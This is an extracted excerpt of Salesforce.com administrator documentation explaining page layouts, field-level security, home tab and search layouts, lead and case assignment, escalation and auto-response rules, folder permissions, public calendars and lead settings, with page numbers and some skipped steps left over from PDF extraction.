Managing Record Types
Overview of Page Layouts and Field-Level Security
Several factors help control whether users can view and edit specific fields in Salesforce.com.
• Page layouts—You can set whether fields are visible, required, editable, or read only.
1037
Customize Overview of Page Layouts and Field-Level Security
• Field-level security—You can further restrict users’ access to fields by setting whether those fields are visible, editable, or
read only. These settings override any field properties set in the page layout if the field-level security setting is more
restrictive.
Important: Field-level security doesn't prevent searching on the values in a field. To prevent users from searching
and retrieving records that match a value in a field hidden by field-level security, contact salesforce.com Customer
Support for assistance with setting up your organization to prevent unwanted access to those field values.
• Permissions on profiles—Some user permissions on profiles override both page layouts and field-level security settings.
For example, users with the “Edit Read Only Fields” permission can always edit read-only fields regardless of any other
settings. Note that the field accessibility grid includes any field access restrictions based on permissions.
• Universally required fields—A custom field can be made universally required, which overrides any less-restrictive settings
on page layouts or field-level security.
After setting these items, you can confirm users’ access to specific fields using the field accessibility grid.
• For standard objects, click Setup ➤ Customize, select the appropriate object from the Customize menu, and click
Fields.
• For custom task and event fields, click Setup ➤ Customize ➤ Activities ➤ Activity Custom Fields.
• For standard task and event fields, click Setup ➤ Customize ➤ Activities, then click Task Fields or Event Fields.
• For custom objects, click Setup ➤ Create ➤ Objects, and select one of the custom objects in the list.
For advanced options to check field accessibility by a specific profile, record type, or field, click Setup ➤ Security Controls
➤ Field Accessibility. From this page, you need to choose a particular tab to view and then select whether you want to check
access by profiles, record types, or fields.
Important: Field-level security doesn't prevent searching on the values in a field. To prevent users from searching
and retrieving records that match a value in a field hidden by field-level security, contact salesforce.com Customer
Support for assistance with setting up your organization to prevent unwanted access to those field values.
1038
Customize Overview of Page Layouts and Field-Level Security
From the field accessibility grid, you can click any field access setting to change the field’s accessibility in the page layout or
in field-level security. The Access Settings page then lets you modify the field access settings.
• In the Field-Level Security section of the page, specify the field's access level for the profile.
We recommend that you use field-level security to control users’ access to fields rather than creating multiple page layouts
to control field access.
• In the Page Layout section of the page, you can:
- Select the Remove or change editability radio button and then change the field access properties for the page
layout. These changes will affect all profile and record type combinations that currently use this page layout.
- Alternatively, you can select the Choose a different page layout radio button to assign a different page layout
to the profile and record type combination.
See Also:
Overview of Page Layouts and Field-Level Security
Managing Page Layouts
Setting Field-Level Security
Object Permissions on Profiles
Administrative and General Permissions on Profiles
1039
Customize Overview of Page Layouts and Field-Level Security
You can customize the Home tab to include components such as sidebar links, a company logo, or a dashboard snapshot. A
dashboard snapshot is a clipping of the top row of a dashboard’s components. Just like other tabs, you can also assign different
home page layouts to different users based on profile.
Alternatively, a custom home page layout can contain only the components that show up in the sidebar. You can determine
if custom sidebar components appear only on the Home tab or on all Salesforce.com pages.
To start customizing your home page layouts, see:
Home page layouts contain standard components, such as Recent Items and Messages & Alerts, and any custom components
you create. You can create custom components such as a logo; see Creating Custom Components on page 1041. Additionally,
you can edit some standard components; see Editing Components on page 1040.
Editing Components
1. Click Setup ➤ Customize ➤ Home ➤ Home Page Components.
2. Click Edit next to the component you want to edit. If there is no Edit link next to a component, it is read only.
3. Make any changes.
• When editing the standard Messages & Alerts component, enter the text you want to display to users. If entering
HTML code for your message, make sure it is self-contained, well-formed HTML.
• When editing the Custom Links component, enter the link text to display to users in the Bookmark field. In the URL
field, enter the complete website address, such as http://www.yahoo.com. To link to a Salesforce.com page, such
1040
Customize Overview of Page Layouts and Field-Level Security
as a frequently-viewed report, enter only the part of the URL after salesforce.com, for example,
/00Ox0000000esq4. These links always open within the main Salesforce.com window, not in a popup window.
Note: The standard home page Custom Links component is a quick way to add links to the sidebar, but it
does not support merge fields, functions (such as the URLFOR function), executing JavaScript, or customizable
window opening properties. If you need this additional functionality:
a. Click Setup ➤ Customize ➤ Home ➤ Custom Links, and create your home page custom links on that
page.
b. Click Setup ➤ Customize ➤ Home ➤ Home Page Components, and create a custom home page
component of type Links on that page that includes the custom links created in the first step. See Creating
Custom Components. Note that creating a custom home page component for your links does not change
the visual styling for your end users.
4. Click Save.
Next, add the component to a home page layout; see Designing Home Tab Page Layouts on page 1042.
For instructions on using the HTML format toolbar, see Using the Format Toolbar on page 431.
6. Click Save.
Next, add the component to a home page layout; see Designing Home Tab Page Layouts on page 1042.
1041
Customize Overview of Page Layouts and Field-Level Security
Tip: Keep your image size smaller than 20 KB for optimum performance. If your image is too large to fit in the insert
window, use an image editor to resize the image. Save your image in gif or jpeg format to reduce file size.
See Also:
Designing Home Tab Page Layouts
Assigning Home Tab Page Layouts to Profiles
After creating the components you want displayed on the Home tab, begin designing your home page layouts. Initially, all
users, including Salesforce.com Customer Portal users, are assigned to the Home Page Default layout. After designing your
own home page layout, assign users to it; see Assigning Home Tab Page Layouts to Profiles on page 1043.
• The components you select for the narrow column display in the sidebar. They do not display in the sidebar on other
pages within Salesforce.com unless you specify that in your user interface settings. To change your user interface settings,
see Customizing User Interface Settings on page 1247. If you only want certain profiles to view sidebar components on
all pages, you can assign those profiles the “Show Custom Sidebar On All Pages” permission.
• Select Approval Requests to add the Items To Approve component to a home page layout.
• Select Article Search to add the Find Articles component to a home page layout. This component is only available
for Salesforce Knowledge users.
• When you select Dashboard Snapshot as a component to show on a home page layout, Salesforce.com displays the
last dashboard the user accessed. Give users instructions on changing the dashboard themselves; see Customizing Your
Display on page 34. Users can view a dashboard snapshot on their Home tab if they have access to at least one dashboard.
See Refreshing Dashboard Data on page 2203.
Tip: When designing home page layouts for your Customer Portal, we recommend adding the following
components: Search, Solution Search, Recent Items, Customer Portal Welcome; and a custom HTML Area
component that includes your corporate branding in the wide column.
1042
Customize Overview of Page Layouts and Field-Level Security
6. Click Next.
7. Arrange the selected components in the desired columns. Select the component and use the arrow keys to move it.
8. Optionally, click Preview to display the home page layout.
9. Click Save & Assign to save the page layout and assign it to a profile.
See Also:
Customizing Home Tab Page Layouts
Defining Home Tab Components
Assigning Home Tab Page Layouts to Profiles
Setting Up Your Customer Portal
Your home page layouts are only visible to users after you assign them to a user profile.
Tip: Notify users how to customize their dashboard settings on their Home tab by clicking Setup ➤ My Personal
information ➤ Change My Display and choosing the link for Home. See Customizing Your Display on page 34.
See Also:
Defining Home Tab Components
Designing Home Tab Page Layouts
Changing Your Home Tab Dashboard
1043
Customize Overview of Page Layouts and Field-Level Security
Customize which fields display for users in search results, search filter fields, lookup dialogs, the recent records lists on tab
home pages, and in lookup phone dialogs for Salesforce CRM Call Center. You can specify a different set of fields to show
in each search layout. The settings apply to all users in your organization and Salesforce.com Customer Portal.
Additionally, customize which buttons display in custom list views and search results. You can hide a standard list view button
or display a custom button. Standard buttons are not available on search result layouts. To display a custom button, create the
custom button and give it a “List Button” Display Type.
1. Click Setup ➤ Customize, select the appropriate activity or tab link, and choose the Search Layouts link.
2. Click Edit next to the layout you want to customize. You can specify a different set of items to display for search results,
lookup dialogs, recent records lists on tab home pages, lookup phone dialogs, list views, and search filter fields.
3. For list view and search results layouts, select any standard or custom buttons you want to display. To hide a standard
button on the list view, deselect it. Standard buttons are not available on search result layouts.
4. Use the arrows to add or remove items from the layout, and to define the order in which the fields should display. To select
more than one item, use CTRL+click or SHIFT+click to select multiple items in a range.
• Select one or more items in the available list and click Add to add them to the layout.
• Select one or more items in the selected list and click Remove to remove them from the layout.
• Select one or more items in the selected list and click Up to move them higher in the list.
• Select one or more items in the selected list and click Down to move them lower in the list.
Note: When editing a search results layout for an object, you can select the Override the search result
column customizations for all users checkbox. If selected, all user column customizations within your
organization will be overwritten and set to the organization-wide default settings.
5. Click Save.
1044
Customize Overview of Page Layouts and Field-Level Security
• All fields are available to be added to the search layout even if some fields are normally hidden for the user customizing
the search layout.
• For Enterprise, Unlimited, and Developer Edition organizations, search layouts do not override field-level security. If a
field is included in the search layout but hidden for some users via field-level security, those users do not see that field in
their search results.
• For Personal, Contact Manager, Group, and Professional Edition organizations, search layouts override page layout settings.
If a field is included in the search layout but hidden in the page layout, that field will be visible in search results.
• The search results layouts for leads, accounts, contacts, and opportunities also apply to the search results displayed when
finding duplicate leads.
• Formula fields are not available in search result layouts.
• Do not remove the Phone field from any lookup phone dialogs search layout. If you do so, users will not be able to use
the directory search results to enter a phone number into a SoftPhone dial pad.
• To add a custom button to a list view or search layout, create the custom button for a standard or custom object, giving it
the “List Button” Display Type. The custom button will be available in the list view and search result layouts for that
object.
Tip: In account search results, you can visually differentiate business accounts from person accounts by adding the
Is Person Account field, which displays as the person account icon ( ).
You may specify the Is Person Account field as the first column in account search layouts. Otherwise, Account
Name must be the first column.
For more information, see What is a Person Account? on page 54.
See Also:
Managing Page Layouts
Customizing a Call Center Directory
Overview of Page Layouts and Field-Level Security
Setting Field-Level Security
Setting Up Your Customer Portal
1045
Customize Managing Assignment Rules
RULES
Create assignment rules to automate your organization’s lead generation and support processes.
• Lead Assignment Rules - Specify how leads are assigned to users or queues as they are created manually, captured from
the web, or imported via the lead import wizards.
• Case Assignment Rules - Determine how cases are assigned to users or put into queues as they are created manually, using
Web-to-Case, Email-to-Case, On-Demand Email-to-Case, the Self-Service portal, the Customer Portal, Outlook, or
Lotus Notes.
Typically, your organization will have one rule for each overall purpose - for example, one lead assignment rule for importing
and a different lead assignment rule for web-generated leads; or one case assignment rule for standard use and one case
assignment rule for holiday use. For each rule type, only one rule can be in effect at any time. For a list of the maximum number
of rules allowed in each organization, see Salesforce.com Editions and Limits.
Each rule consists of multiple rule entries that specify exactly how the leads or cases are assigned. For example, your standard
case assignment rule may have two entries: cases with “Type equals Gold” are assigned to “Gold Service” queue, and cases
with “Type equals Silver” are assigned to “Silver Service” queue.
To create an assignment rule, click Setup ➤ Customize from the top of any page. Then select Leads or Cases, and click
Assignment Rules.
1046
Customize Managing Assignment Rules
For additional lead management rule examples, see Examples of Advanced Formula Fields on page 870.
See Also:
Setting Up Assignment Rules
Viewing and Editing Assignment Rules
Assigning Cases
Lead Assignment Rules available in: Group, Professional, Enterprise, Unlimited, and Developer Editions
Case Assignment Rules available in: Professional, Enterprise, Unlimited, and Developer Editions
Field Description
Order Sets the order in which the entry will be processed in the rule,
for example, 1, 2, 3.
Salesforce.com evaluates each entry in order and tries to match
the criteria of the entry. As soon as a match is found,
Salesforce.com processes the item and stops evaluating the
rule entries for that item. If no match is found, the item is
reassigned to either the default Web-to-Lead owner, the
administrator doing a lead import, or the default case owner.
Criteria Specifies conditions that the lead or case must match for it to
be assigned.
You can enter your rule criteria:
1047
Customize Managing Assignment Rules
Field Description
case records with the Priority field marked High to
trigger the rule.
If your organization uses multiple languages, enter filter
values in your organization's default language. You can
click the Advanced Options... link to add up to 25 filter
criteria, up to 255 characters.
• Choose formula evaluates to true and enter a
formula that returns a value of “True” or “False.”
Salesforce.com triggers the rule if the formula returns
“True.” For example, the formula AND(ISCHANGED(
Priority ), ISPICKVAL (Priority, "High")
) triggers a rule that changes the owner of a case when the
Priority field is changed to High. For information on
using formulas, see Building Formulas on page 878.
Note that if your condition uses a custom field, the rule entry
will automatically be deleted if the custom field is deleted.
User Specifies the user or queue to which the lead or case will be
assigned if it matches the condition. Users specified here
cannot be marked “inactive” and they must have “Read”
permission on leads or cases.
Note that users assigned to a rule cannot be reassigned to a
profile that does not have the “Read” permission on leads or
cases. Furthermore, you cannot remove the “Read” permission
on leads or cases from a profile associated with a user assigned
to a rule.
If your organization uses divisions, leads are assigned to the
default division of the user or queue specified in this field.
Cases inherit the division of the contact to which they are
related, or are assigned to the default global division if no
contact is specified.
Do Not Reassign Owner Specifies that the current owner on a lead or case will not be
reassigned to the lead or case when it is updated.
Email Template Specifies the template to use for the email that is automatically
sent to the new owner. If no template is specified, no email
will be sent. When assigning a lead or case to a queue, the
notification goes to the Queue Email address specified for
the queue and all queue members.
Predefined Case Teams Specifies the predefined case team(s) to add to a case when it
matches the condition. A case team is a team of users that
work together on a case. For example, your case team may
include a support rep, support manager, and a product
1048
Customize Managing Assignment Rules
Field Description
manager. For more information, see Predefining Case Teams
on page 2310.
Replace any existing predefined case teams Specifies that any existing predefined case teams on the case
on the case are replaced with the predefined case teams on the condition,
when a case matches the condition. For more information,
see Predefining Case Teams on page 2310.
After creating the entry, click Save, or Save & New to save the entry and create more entries.
Note: To create an error-proof rule, always create the last rule entry with no criteria. This rule entry will catch any
leads or cases that the previous rule entries did not assign.
1. Validation rules
2. Assignment rules
3. Auto-response rules
4. Workflow rules (with immediate actions)
5. Escalation rules
Workflow field updates that run based on an approval process or time-dependent action do not trigger any rules.
See Also:
Managing Assignment Rules
Viewing and Editing Assignment Rules
1049
Customize Managing Escalation Rules
Lead Assignment Rules available in: Group, Professional, Enterprise, Unlimited, and Developer Editions
Case Assignment Rules available in: Professional, Enterprise, Unlimited, and Developer Editions
• To edit the name of a rule, click Rename next to the rule name.
• To edit the entries for a rule, choose the rule name from the list of rules. Click New to add an entry; choose Edit or Del
to edit or delete an entry; select Reorder to change the order in which the entries apply. Each rule can have a maximum
of 3000 entries.
See Also:
Setting Up Assignment Rules
Managing Assignment Rules
Create case escalation rules to escalate cases automatically if they are not resolved within a certain period of time.
Typically, your organization will have one escalation rule that consists of multiple rule entries which specify exactly how the
cases are escalated. For example, your standard case escalation rule may have two entries: cases with Type set to Gold are
escalated within two hours, and cases with Type set to Silver are escalated within eight hours.
For a list of the maximum number of rules allowed in each organization, see Salesforce.com Editions and Limits.
1050
Customize Managing Escalation Rules
For information on debugging escalation rules, see What is a Debug Log? on page 1556.
See Also:
Setting Up Escalation Rules
Viewing and Editing Escalation Rules
Field Description
Order Sets the order in which the entry will be processed in the
rule, for example, 1, 2, 3.
Salesforce.com evaluates each entry in order and tries to
match the criteria of the entry. As soon as a match is found,
Salesforce.com processes the item and stops evaluating the
rule entries for that item. If no match is found, the case is
simply not escalated.
1051
Customize Managing Escalation Rules
Field Description
• Choose formula evaluates to true and enter a
formula that returns a value of “True” or “False.”
Salesforce.com triggers the rule if the formula returns
“True.” For example, the formula AND(ISCHANGED(
Priority ), ISPICKVAL (Priority, "High")
) triggers a rule that changes the owner of a case when
the Priority field is changed to High.For information
on using formulas, see Building Formulas on page 878.
Note that if your condition uses a custom field, the rule entry
will automatically be deleted if the custom field is deleted.
Specify business hours criteria Specifies how business hours apply to an escalated case:
• Ignore business hours - Select this field to ignore
business hours when escalating a case.
• Use business hours specified on case - Select
this field to use the existing business hours on a case
when escalating it.
• Set business hours - Select this field and click the
lookup icon ( ) to select predefined business hours to
apply to a case when escalating it.
Specify how escalation times are set Determines what field applies to your Age Over number
of hours. Your Age Over setting can be based on the
number of hours since:
• A case was created
• The case was created unless it has been modified; once
modified, the case will never get escalated
• The most recent time a case was modified
For example, if you choose Based on last
modification time of the case and your Age Over
setting is 5, cases will get escalated 5 hours after the most
recent last modified time and date as long as the case is open.
4. After creating the entry, click Save, or Save & New to save the entry and create more entries.
5. After you create the last entry, click Save. The escalation rule and a list of one or more rule entries are displayed.
Note: To create an error-proof rule, always create the last rule entry with no criteria. This rule entry will catch
any cases that the previous rule entries did not assign.
6. Specify what action you want to be taken when one of the escalation rule entries is true. Click Edit next to the name of
one of the rule entries.
1052
Customize Managing Escalation Rules
7. Click New to add an escalation action. You can specify up to five actions for each rule entry, to escalate the case over
increasing periods of time. For each escalation action, you can specify the following:
Field Description
Age Over Specifies the number of hours after which a case should be
escalated if it has not been closed. This time is calculated
from the date field set in the Specify how escalation
times are set field. No two escalation actions can have
the same number in this field.
Assign To Specifies the user, partner user, or queue to which the case
will be assigned if it matches the condition. Users specified
here cannot be marked “inactive” and they must have the
“Read” permission on cases.
Users assigned to the rule cannot be reassigned to a profile
that does not have the “Read” permission on cases.
Furthermore, you cannot remove the “Read” permission on
cases from a profile associated with a user assigned to the
rule.
Note that reassigning an escalated case is optional.
Notification Template Specifies the template to use for the email that is
automatically sent to the new owner specified in the Assign
To field. If no template is specified, no email will be sent.
Notify this user Specifies the user to notify when the case is escalated.
Notifying another user is optional.
Notify Case Owner Indicates that the owner of the case is notified when the case
is escalated.
Notification Template Specifies the template to use for the notification email that
is automatically sent to the Notify user(s). If you choose a
user in the Notify field, you must select a template.
Additional Emails Specifies additional individuals that you want to notify upon
escalation.
Note: Each time you save a case or change the case owner, your escalation rules re-evaluate that case. Once the case
matches an escalation rule entry, calculates when the case should be escalated and stops checking other escalation rule
entries. For example, if you have two escalation rule entries that specify:
• Escalate three hours after creation date if Case Reason equals Crash
• Escalate four hours after creation date if Case Reason equals Bug
A case created with Case Reason of Bug will be scheduled for escalation four hours after it was created. Later, a
user changes the case, which causes the escalation rules to re-evaluate the case. If escalation rules find that the Case
Reason is now Crash, it schedules the case to be escalated three hours after creation date. If the case was created more
than three hours ago, the case is escalated as soon as possible.
1053
Customize Managing Escalation Rules
Escalation rules are not evaluated when transferring multiple cases at one time from a case list view. Also note that if
you use assignment rules to change case ownership, the escalation rules are evaluated before any assignment rules.
1. Validation rules
2. Assignment rules
3. Auto-response rules
4. Workflow rules (with immediate actions)
5. Escalation rules
Workflow field updates that run based on an approval process or time-dependent action do not trigger any rules.
See Also:
Managing Escalation Rules
Viewing and Editing Escalation Rules
Monitoring the Case Escalation Rule Queue
• To edit the name of a rule, click Rename next to the rule name.
• To edit the entries for a rule, choose the rule name from the list of rules. Click New to add an entry; choose Edit or Del
to edit or delete an entry; select Reorder to change the order in which the entries apply. Each rule can have a maximum
of 3000 entries.
See Also:
Managing Escalation Rules
Setting Up Escalation Rules
Monitoring the Case Escalation Rule Queue
1054
Customize Setting Up Auto-Response Rules
An auto-response rule is a set of conditions for sending automatic email responses to lead or case submissions based on the
attributes of the submitted record. Applicable leads include those captured through a Web-to-Lead form. Applicable cases
include those submitted through a:
• Self-Service portal
• Customer Portal
• Web-to-Case form
• Email-to-Case message
• On-Demand Email-to-Case message
You can create as many response rules as you like based on any attribute of the incoming lead or case, but only one rule for
leads and one for cases can be active at a time. The email responses are listed in the Activity History related list of the lead or
contact and the Email related list on cases.
1055
Customize Setting Up Auto-Response Rules
• Choose criteria are met and select the filter criteria that a record must meet to trigger the rule. For example, set
a case filter to Priority equals High if you want case records with the Priority field marked High to trigger
the rule.
If your organization uses multiple languages, enter filter values in your organization's default language. You can click
the Advanced Options... link to add up to 25 filter criteria, up to 255 characters.
• Choose formula evaluates to true and enter a formula that returns a value of “True” or “False.” Salesforce.com
triggers the rule if the formula returns “True.” For example, the formula
AND(ISPICKVAL(Priority,"High"),Version<4.0) triggers a rule that automatically responds with the selected
template if the Priority field on a case is set to High and the value of a custom field named Version on the case
is less than four. For information on using formulas, see Building Formulas on page 878.
1. Validation rules
2. Assignment rules
3. Auto-response rules
4. Workflow rules (with immediate actions)
5. Escalation rules
Workflow field updates that run based on an approval process or time-dependent action do not trigger any rules.
For a list of the maximum number of rules allowed in each organization, see Salesforce.com Editions and Limits. For information
on debugging response rules, see What is a Debug Log? on page 1556.
See Also:
Differences Between Auto-Response Rules and Workflow Alerts
1056
Customize Managing Folders
Auto-response rules and workflow alerts provide similar functionality. The following table lists some of the differences between
workflow alerts and auto-response rules to help you determine which process to use:
Type of Process Designed For Runs When Sends Email To Number of Emails
Sent
Workflow alerts Notifications to A case or lead is created Anyone you choose who Sends as many emails as
interested parties. or edited. is associated to the Case there are matching
or Lead object. criteria in the workflow.
Auto-response rules Initial response to the A case or lead is Contact on a case or the Sends one email based
contact who created a created. person who submitted on the first rule entry
case or the person who the lead on the Web. criteria it matches in a
submitted the lead on sequence of rule entries.
the Web.
Managing Folders
Available in: All Editions
Report folders not available in: Contact Manager, Group, and Personal Editions
A folder is a place where you can store documents, dashboards, reports, or email templates. You control who has access to a
folder based on roles, public groups, or your entire organization. Alternatively, you can make a folder private, preventing any
other users from viewing it.
1057
Customize Managing Folders
• To access document folders, click the Documents tab. See Document Library Overview for information on displaying the
Documents tab.
• To access email template folders, click Setup ➤ Communication Templates ➤ Email Templates.
• To access report folders, click the Reports tab, or to manage all of your organization’s report folders, click Setup ➤
Customize ➤ Reports.
• To access dashboard folders, click the Dashboards tab. See Dashboards Overview on page 2178 for more information on
dashboards.
Access Level Permissions to Access Read-Only Folders Permissions to Access Read/Write Folders
Read Any of the following: Any of the following:
• “Run Reports” • “Run Reports”
• “Manage Public Reports” • “Manage Public Reports”
• “View All Data” • “View All Data”
Hidden Folders
Access Level Permissions to Access Read-Only Folders Permissions to Access Read/Write Folders
Read “View All Data” “View All Data”
Write New “Manage Public Reports” “Manage Public Reports”
Modify/Delete “Manage Public Reports” “Manage Public Reports”
1058
Customize Managing Folders
Shared Folders
Access Level Permissions to Access Read-Only Folders Permissions to Access Read/Write Folders
Read Any of the following: Any of the following:
• “Run Reports” (for shared users) • “Run Reports” (for shared users)
• “Manage Public Reports” • “Manage Public Reports”
• “View All Data” • “View All Data”
Write New “Manage Public Reports” “Create and Customize Reports” (for shared
users)
Modify/Delete “Manage Public Reports” “Manage Public Reports”
Access Level Permissions to Access Read-Only Folders Permissions to Access Read/Write Folders
Read “Run Reports” “Run Reports”
Write New All of the following: Both of the following:
• “Run Reports” • “Run Reports”
• “Manage Dashboards” • “Manage Dashboards”
• “View All Data”
Hidden Folders
Access Level Permissions to Access Read-Only Folders Permissions to Access Read/Write Folders
Read Both of the following: Both of the following:
• “Run Reports” • “Run Reports”
• “View All Data” • “View All Data”
1059
Customize Managing Folders
Access Level Permissions to Access Read-Only Folders Permissions to Access Read/Write Folders
Write New All of the following: All of the following:
• “Run Reports” • “Run Reports”
• “Manage Dashboards” • “Manage Dashboards”
• “View All Data” • “View All Data”
Shared Folders
Access Level Permissions to Access Read-Only Folders Permissions to Access Read/Write Folders
Read “Run Reports” “Run Reports”
Write New All of the following: Both of the following:
• “Run Reports” • “Run Reports”
• “Manage Dashboards” • “Manage Dashboards”
• “View All Data”
See Also:
Creating and Editing Folders
Deleting Folders
Filing Items in Folders
1060
Customize Managing Folders
To create a new folder, click Create New Folder from any page that lists folders.
To change a folder, click Edit next to the folder name from any page that lists folders.
1. Enter a Folder Label. The label is used to refer to the folder on user interface pages.
2. If you have the “Customize Application” permission, enter a unique name to be used by the API and managed packages.
This name can contain only underscores and alphanumeric characters, and must be unique in your organization. It must
begin with a letter, not include spaces, not end with an underscore, and not contain two consecutive underscores. The
unique name lets developers change certain components' names or titles in a managed package and the changes are reflected
in a subscriber's organization.
3. Choose a Public Folder Access option. Select read/write if you want users to be able to change the folder contents.
A read-only folder can be visible to users but none will be able to change its contents.
4. Select an unfiled report, dashboard, or template and click Add to store it in the new folder. Skip this step for document
folders.
5. Choose a folder visibility option:
• This folder is accessible by all users, including portal users gives folder access to all users
in your organization, including portal users.
• This folder is accessible by all users, except for portal users gives folder access to all users
in your organization, but denies access to portal users. This option is only available for report and dashboard folders in
organizations with a partner portal or Customer Portal enabled. If you don't have a portal, you won't see it.
• This folder is hidden from all users makes the folder private.
• This folder is accessible only by the following users allows you to grant access to a desired set of
users:
a. Choose “Public Groups”, “Roles,” “Roles and Subordinates,” “Roles, Internal and Portal Subordinates” (if you have
portals enabled), “Territories,” or “Territories and Subordinates” from the Search drop-down list. The choices
vary by Edition and whether your organization has territory management.
1061
Customize Managing Folders
Note: When you share a folder with a group, managers of the group members have no access to the folder
unless those managers are also members of the group.
b. If the Available for Sharing list does not immediately display the desired value, enter search criteria and
click Find.
c. Select the desired value from the Available for Sharing list and click Add to move the value to the Shared
To list.
6. Click Save.
See Managing Folders for the required permissions to create new folders.
See Also:
Deleting Folders
Filing Items in Folders
Deleting Folders
Available in: All Editions
Report folders not available in: Contact Manager, Group, and Personal Editions
You can only delete folders that are empty. Before you begin, remove all the documents, dashboards, templates, or reports
from the folder you would like to delete.
1. Click Edit next to the folder name from any page that lists folders.
2. Click Delete.
3. Click OK to confirm.
1062
Customize Managing Folders
See Managing Folders for the necessary permissions to perform this task.
Just like report folders contain reports and email template folders contain email templates, document folders can only contain
documents. To store an attachment in a document folder, save the attachment to your computer and upload it to the document
library.
Note: Email templates that are used by Web-to-Case, Web-to-Lead, assignment rules, or escalation rules must be
marked as “Available for Use.”
1063
Customize Customizing Activity Settings
ACTIVITIES
On the Activity Settings page at Setup ➤ Customize ➤ Activities ➤ Activity Settings, you can turn the following settings
on or off for your organization:
1064
Customize Customizing Activity Settings
1065
Customize Managing Public and Resource Calendars
See Also:
Customizing User Interface Settings
In contrast to users' individual calendars, public and resource calendars are for managing group activities or shared resources.
Using public calendars, a group of people can track events of interest to all of them (such as marketing events, product releases,
or training classes) or schedule a common activity (such as a team vacation calendar). For example, your marketing team can
set up an events calendar to show upcoming marketing events to the entire sales and marketing organization.
With resource calendars, multiple people can coordinate their usage of a shared resource such as a conference room or overhead
projector.
To display a list of the currently-defined public and resource calendars, click Setup ➤ Customize ➤ Activities ➤ Public
Calendars & Resources.
From the list page, you can perform the following tasks:
1. Click New.
2. Give the calendar or resource a name, and check Active.
3. Click Save.
4. To make the new calendar or resource available to others, click Sharing. Add the public groups, roles, or users with
whom you want to share the calendar.
5. In Calendar Access, specify how to share the calendar by selecting one of the following:
1066
Customize Deleting a Public Calendar
Note: Users need the appropriate “Read” permission to see the related record of any activity. For example, an event
invitee who does not have “Read” permission on cases will not be able to view the case associated with the event.
See Also:
Deleting a Public Calendar
Creating Activities
Administrator tip sheet: Setting Up Group Calendaring
See Also:
Managing Public and Resource Calendars
1067
Customize Setting Up the Request a Meeting Feature
To let your users request meetings with customers (contacts, leads, and person accounts):
1. Enable the new user interface theme. See Customizing User Interface Settings on page 1247.
Users can't request meetings with customers if the new user interface theme is disabled.
2. Add the New Meeting Request button to the Open Activities related list on these page layouts:
• Contacts
• Leads
• Person Accounts (if enabled)
For users to request a meeting with a person account, you also need to add the Email field to the page layout, which
is located at Setup ➤ Customize ➤ Accounts ➤ Person Accounts ➤ Page Layouts.
• Won't see the New Meeting Request button on the Open Activities related list
• Can't edit, reschedule, or cancel requested meetings
4. (Optional) Ask your users to install Connect for Outlook or Connect for Lotus Notes.
We recommend users sync their calendar events between Salesforce.com and Outlook or Lotus Notes so they can propose
meeting times based on their availability displayed in their Salesforce.com calendar.
5. (Optional) Add your company logo to the meeting requests sent to invitees.
See Customizing Activity Settings on page 1064.
6. (Optional) Show requested meetings in the Calendar section on the Home tab.
See Customizing Activity Settings on page 1064.
7. (Optional) Enable your Partner users to request meetings.
1068
Customize Setting Up the Request a Meeting Feature
See Also:
About the Request a Meeting Feature
1069
Customize Setting Up Lead Management
LEADS
Success in sales starts by building a strong pipeline of leads. A lead is a prospect who is interested in your company.
Using leads can give your sales staff instant access to the latest prospects and ensures that no leads are ever dropped. Successful
lead management helps sales and marketing manage the inbound lead process, track lead sources, and analyze return on their
marketing investment.
To get started using lead management, click Setup ➤ Customize ➤ Leads:
• Click Fields to create custom lead fields that track information specific to your company; see About Custom Fields on
page 811. Also, map your custom lead fields to account, contact, and opportunity fields so that the data gets converted
when users convert leads; see Mapping Custom Lead Fields on page 1072. Edit the Lead Status picklist to choose the
default status for new and converted leads; see Updating Picklists on page 798.
• Click Settings to specify your default lead settings. See Customizing Lead Settings on page 1070.
• Click Assignment Rules to set up lead assignment rules that automatically assign leads; see Managing Assignment Rules
on page 1046.
• Click Web-to-Lead to automatically capture leads from your website. See Setting Up Web-to-Lead on page 1074.
To create sales queues for leads or custom objects, click Setup ➤ Manage Users ➤ Queues. See Managing Queues on page
500.
To optimize the lead management features, you must edit the lead settings to specify certain defaults.
1070
Customize Customizing Lead Settings
Field Description
Default Lead Owner The user or queue to which leads will be assigned if the active
assignment rule fails to locate an owner. This applies to leads
captured online and leads that a user manually creates or
edits with the auto-assign checkbox enabled.
Notify Default Lead Owner Checkbox to indicate whether Salesforce.com sends a
notification to the default lead owner when assigning a lead
to him or her. Default Lead Owner selected must be a
user.
Record Type Setting If a user creating a new lead applies assignment rules, this
setting indicates which record type to assign to the new
record. If you want new leads to keep the creator’s record
type, check Keep the existing record type. If you
want to overwrite the creator’s record type when applying
assignment rules, check Override the existing
record type with the assignee’s default
record type.
Enable Validation and Triggers from Lead When selected, enables the following operations when you
Convert convert leads:
• Enforcement of universally required custom fields.
• Enforcement of validation rules. Note that if validation
rules exist for activities and you create an activity during
lead conversion, the lead converts but a task is not
created.
• Workflow actions on leads such as field updates,
automatic task assignments, and transfers. Note that
existing time-based workflow actions on leads do not get
triggered as part of lead conversion.
• Execution of Apex before triggers that fire before the
insertion of accounts, contacts, or opportunities. In
addition, execution of Apex before triggers that fire
before the update of accounts or contacts.
Do Not Change Lead Status Values to New If your organization uses record types, you can create a lead
Owner's Record Type on Lead Conversion process that allows you to provide different Lead Status
values for different record types. If Do Not Change Lead
Status Values to New Owner's Record Type on
Lead Conversion is selected, the Lead Status does
1071
Customize Mapping Custom Lead Fields
Field Description
not change to the new owner's default value during lead
conversion. If this setting it is not selected, the Lead
Status may change during lead conversion if the new
owner's record type has a different default value for Lead
Status.
When you convert a qualified lead, the information from the standard lead fields is inserted into standard account, contact,
and opportunity fields (see Lead Conversion Mapping on page 2069). If your organization has custom lead fields, you can specify
how you want that custom information converted into custom account, contact, or opportunity fields.
To specify the mapping for custom lead fields:
• Remember to map custom lead fields to other custom fields of the same data type, that is, map numeric lead fields to other
numeric fields or long text area fields to other long text area fields.
Some exceptions are:
- You can map between text and picklist fields. However, your data may become truncated if the mapped text field is
not large enough to hold the entire lead picklist value.
- You can map fields of type Text or Text Area to long text area fields
- You can map auto-number fields to fields of type Text, Text Area, or Picklist.
- Do not map custom formula fields to other formula fields or any other type of field.
- Roll-up summary fields are not available for mapping lead fields of converted leads.
• Remember to map custom lead fields of type number, currency, or percent to other number, currency, or percent fields of
exactly the same length and decimal places. For example, if your lead currency field has a length of 3 and 2 decimal places,
map it to another custom currency field with a length of 3 and 2 decimal places.
• Any standard lead picklist fields that are blank are mapped to the default picklist values for the account, contact, and
opportunity.
1072
Customize Capturing Web Leads
Note: If you change the data type of any custom field used for lead conversion, that lead field mapping will be deleted.
See Also:
Converting Leads
